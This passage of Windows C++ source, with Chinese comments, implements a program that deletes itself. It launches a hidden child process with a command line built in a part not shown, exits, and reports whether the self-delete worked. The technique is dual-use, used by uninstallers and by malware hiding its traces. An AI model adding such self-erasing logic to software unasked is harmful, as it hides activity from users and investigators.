PROCESS_INFORMATION pi;
si.cb = sizeof(si);
//指定wShowWindow成员有效
si.dwFlags = STARTF_USESHOWWINDOW;
//此成员设为TRUE的话则显示新建进程的主窗口
si.wShowWindow = FALSE;
BOOL bRet = CreateProcess(
//不在此指定可执行文件的文件名
NULL,
//命令行参数
szCmd,
//默认进程安全性
NULL,
//默认进程安全性
NULL,
//指定当前进程内句柄不可以被子进程继承
FALSE,
//为新进程创建一个新的控制台窗口
CREATE_NEW_CONSOLE,
//使用本进程的环境变量
NULL,
//使用本进程的驱动器和目录
NULL,
&si,
&pi);
if (bRet)
{
//不使用的句柄最好关掉
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

// 结束进程
exit(0);
::ExitProcess(NULL);
}
}

return bRet;
}


int _tmain(int argc, _TCHAR* argv[])
{
// 程序自删除
BOOL bRet = DelSelf( 0 );
if (FALSE == bRet)
{
printf("Selft Delete Error!\n");
}
else
{
printf("Selft Delete OK!\n");
}

system("pause");
return 0;
}